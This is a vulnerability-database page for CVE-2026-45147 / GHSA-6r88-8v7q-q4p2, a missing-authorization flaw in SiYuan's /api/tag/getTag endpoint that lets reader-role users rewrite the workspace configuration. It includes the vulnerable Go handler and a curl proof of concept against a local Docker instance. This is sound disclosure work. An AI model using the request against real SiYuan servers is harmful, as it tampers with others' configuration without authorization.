Vulnerability-Lookup

GHSA-6R88-8V7Q-Q4P2

Vulnerability from github – Published: 2026-05-13 15:32 – Updated: 2026-05-15 23:45

Summary

SiYuan: Broken access control in `/api/tag/getTag` — Reader role can mutate `Conf.Tag.Sort` and persist to disk

Details

Summary

POST /api/tag/getTag is registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service RoleReader accounts and RoleEditor accounts on a read-only workspace — can call this endpoint with a sort argument to mutate model.Conf.Tag.Sort and trigger model.Conf.Save(), which atomically rewrites the entire workspace conf.json.

Same root-cause class as the patched GHSA-4j3x-hhg2-fm2x (which fixed missing CheckAdminRole + CheckReadonly on /api/template/renderSprig).

Details

Affected files / lines (v3.6.5):

kernel/api/router.go:170 — only CheckAuth:

ginServer.Handle("POST", "/api/tag/getTag", model.CheckAuth, getTag)
// Compare the sibling registrations on the next two lines, which DO gate writes:
ginServer.Handle("POST", "/api/tag/renameTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag)
ginServer.Handle("POST", "/api/tag/removeTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag)

kernel/api/tag.go:28-64 — handler. The if nil != arg["sort"] block writes config without any role check:

func getTag(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)
    arg, ok := util.JsonArg(c, ret)
    if !ok { return }
    ...
    if nil != arg["sort"] {                    // ← unauthorized write path
        sortVal, ok := util.ParseJsonArg[float64]("sort", arg, ret, true, false)
        if !ok { return }
        model.Conf.Tag.Sort = int(sortVal)
        model.Conf.Save()                      // persists entire conf to <workspace>/conf/conf.json
    }
    ...
}

Conf.Save() rewrites the entire configuration file, which means a malicious caller racing with a legitimate config change can roll back another user's setting (TOCTOU on the global config object).

PoC

Same Docker setup as Advisory 1.

# 1. Authenticate (any role with CheckAuth pass — admin used here for convenience).
curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \
  -H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null

# 2. Read current Conf.Tag.Sort.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
  -H 'Content-Type: application/json' -d '{}' \
  | python3 -c "import json,sys;print('Conf.Tag.Sort BEFORE =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort BEFORE = 4

# 3. Mutate via the read-style endpoint.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \
  -H 'Content-Type: application/json' -d '{"sort": 7}'
# → {"code":0,"msg":"","data":[]}

# 4. Confirm in-memory.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
  -H 'Content-Type: application/json' -d '{}' \
  | python3 -c "import json,sys;print('Conf.Tag.Sort AFTER =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort AFTER = 7

# 5. Confirm persisted to disk inside the container.
docker exec siyuan-audit grep -o 'sort":[0-9]*' /siyuan/workspace/conf/conf.json
# → sort":7

The vulnerability is exposed to publish-mode RoleReader (default for any anonymous publish visitor) and to RoleEditor users on workspaces where the administrator has set Editor.ReadOnly = true.

Impact

Limited direct damage — the writable field is only the tag display sort order. The pattern is concerning because:

It demonstrates the same gap that GHSA-4j3x-hhg2-fm2x was meant to flag broadly (missing CheckAdminRole + CheckReadonly on a read-style endpoint that performs writes); each occurrence has to be patched individually.
Conf.Save() rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values.
A publish-service Reader being able to mutate any server state at all violates the intended trust boundary.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260512140701-d7b77d945e0d"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45147"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T15:32:35Z",
    "nvd_published_at": "2026-05-14T19:16:38Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`POST /api/tag/getTag` is registered with `model.CheckAuth` only, omitting both `model.CheckAdminRole` and `model.CheckReadonly`, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user \u2014 including publish-service `RoleReader` accounts and `RoleEditor` accounts on a read-only workspace \u2014 can call this endpoint with a `sort` argument to mutate `model.Conf.Tag.Sort` and trigger `model.Conf.Save()`, which atomically rewrites the entire workspace `conf.json`.\n\nSame root-cause class as the patched `GHSA-4j3x-hhg2-fm2x` (which fixed missing `CheckAdminRole + CheckReadonly` on `/api/template/renderSprig`).\n\n### Details\n\n**Affected files / lines (v3.6.5):**\n\n`kernel/api/router.go:170` \u2014 only `CheckAuth`:\n\n```go\nginServer.Handle(\"POST\", \"/api/tag/getTag\", model.CheckAuth, getTag)\n// Compare the sibling registrations on the next two lines, which DO gate writes:\nginServer.Handle(\"POST\", \"/api/tag/renameTag\", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag)\nginServer.Handle(\"POST\", \"/api/tag/removeTag\", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag)\n```\n\n`kernel/api/tag.go:28-64` \u2014 handler. The `if nil != arg[\"sort\"]` block writes config without any role check:\n\n```go\nfunc getTag(c *gin.Context) {\n    ret := gulu.Ret.NewResult()\n    defer c.JSON(http.StatusOK, ret)\n    arg, ok := util.JsonArg(c, ret)\n    if !ok { return }\n    ...\n    if nil != arg[\"sort\"] {                    // \u2190 unauthorized write path\n        sortVal, ok := util.ParseJsonArg[float64](\"sort\", arg, ret, true, false)\n        if !ok { return }\n        model.Conf.Tag.Sort = int(sortVal)\n        model.Conf.Save()                      // persists entire conf to \u003cworkspace\u003e/conf/conf.json\n    }\n    ...\n}\n```\n\n`Conf.Save()` rewrites the **entire** configuration file, which means a malicious caller racing with a legitimate config change can roll back another user\u0027s setting (TOCTOU on the global config object).\n\n### PoC\n\nSame Docker setup as Advisory 1.\n\n```bash\n# 1. Authenticate (any role with CheckAuth pass \u2014 admin used here for convenience).\ncurl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"authCode\":\"audittest\"}\u0027 \u003e/dev/null\n\n# 2. Read current Conf.Tag.Sort.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 \\\n  | python3 -c \"import json,sys;print(\u0027Conf.Tag.Sort BEFORE =\u0027,json.load(sys.stdin)[\u0027data\u0027][\u0027conf\u0027][\u0027tag\u0027][\u0027sort\u0027])\"\n# \u2192 Conf.Tag.Sort BEFORE = 4\n\n# 3. Mutate via the read-style endpoint.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"sort\": 7}\u0027\n# \u2192 {\"code\":0,\"msg\":\"\",\"data\":[]}\n\n# 4. Confirm in-memory.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 \\\n  | python3 -c \"import json,sys;print(\u0027Conf.Tag.Sort AFTER =\u0027,json.load(sys.stdin)[\u0027data\u0027][\u0027conf\u0027][\u0027tag\u0027][\u0027sort\u0027])\"\n# \u2192 Conf.Tag.Sort AFTER = 7\n\n# 5. Confirm persisted to disk inside the container.\ndocker exec siyuan-audit grep -o \u0027sort\":[0-9]*\u0027 /siyuan/workspace/conf/conf.json\n# \u2192 sort\":7\n```\n\nThe vulnerability is exposed to publish-mode `RoleReader` (default for any anonymous publish visitor) and to `RoleEditor` users on workspaces where the administrator has set `Editor.ReadOnly = true`.\n\n### Impact\n\nLimited direct damage \u2014 the writable field is only the tag display sort order. The pattern is concerning because:\n\n- It demonstrates the same gap that `GHSA-4j3x-hhg2-fm2x` was meant to flag broadly (missing `CheckAdminRole + CheckReadonly` on a read-style endpoint that performs writes); each occurrence has to be patched individually.\n- `Conf.Save()` rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values.\n- A publish-service Reader being able to mutate any server state at all violates the intended trust boundary.",
  "id": "GHSA-6r88-8v7q-q4p2",
  "modified": "2026-05-15T23:45:15Z",
  "published": "2026-05-13T15:32:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6r88-8v7q-q4p2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45147"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: Broken access control in `/api/tag/getTag` \u2014 Reader role can mutate `Conf.Tag.Sort` and persist to disk"
}

CVE-2026-45147 (GCVE-0-2026-45147)

Vulnerability from cvelistv5 – Published: 2026-05-14 18:21 – Updated: 2026-05-14 19:36

Title

SiYuan: Broken access control in SiYuan `/api/tag/getTag` — Reader role can mutate `Conf.Tag.Sort` and persist to disk

Summary

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, POST /api/tag/getTag is registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service RoleReader accounts and RoleEditor accounts on a read-only workspace — can call this endpoint with a sort argument to mutate model.Conf.Tag.Sort and trigger model.Conf.Save(), which atomically rewrites the entire workspace conf.json. This vulnerability is fixed in 3.7.0.

Severity

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-285 - Improper Authorization
CWE-862 - Missing Authorization

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/siyuan-note/siyuan/security/ad…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
siyuan-note	siyuan	Affected: < 3.7.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45147",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-14T19:36:33.922065Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-14T19:36:38.687Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6r88-8v7q-q4p2"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "siyuan",
          "vendor": "siyuan-note",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.7.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, POST /api/tag/getTag is registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user \u2014 including publish-service RoleReader accounts and RoleEditor accounts on a read-only workspace \u2014 can call this endpoint with a sort argument to mutate model.Conf.Tag.Sort and trigger model.Conf.Save(), which atomically rewrites the entire workspace conf.json. This vulnerability is fixed in 3.7.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-285",
              "description": "CWE-285: Improper Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-14T18:21:40.312Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6r88-8v7q-q4p2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6r88-8v7q-q4p2"
        }
      ],
      "source": {
        "advisory": "GHSA-6r88-8v7q-q4p2",
        "discovery": "UNKNOWN"
      },
      "title": "SiYuan: Broken access control in SiYuan `/api/tag/getTag` \u2014 Reader role can mutate `Conf.Tag.Sort` and persist to disk"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45147",
    "datePublished": "2026-05-14T18:21:40.312Z",
    "dateReserved": "2026-05-08T20:44:38.963Z",
    "dateUpdated": "2026-05-14T19:36:38.687Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-6R88-8V7Q-Q4P2

Summary

Details

PoC

Impact

CVE-2026-45147 (GCVE-0-2026-45147)

Tags

Sightings

Nomenclature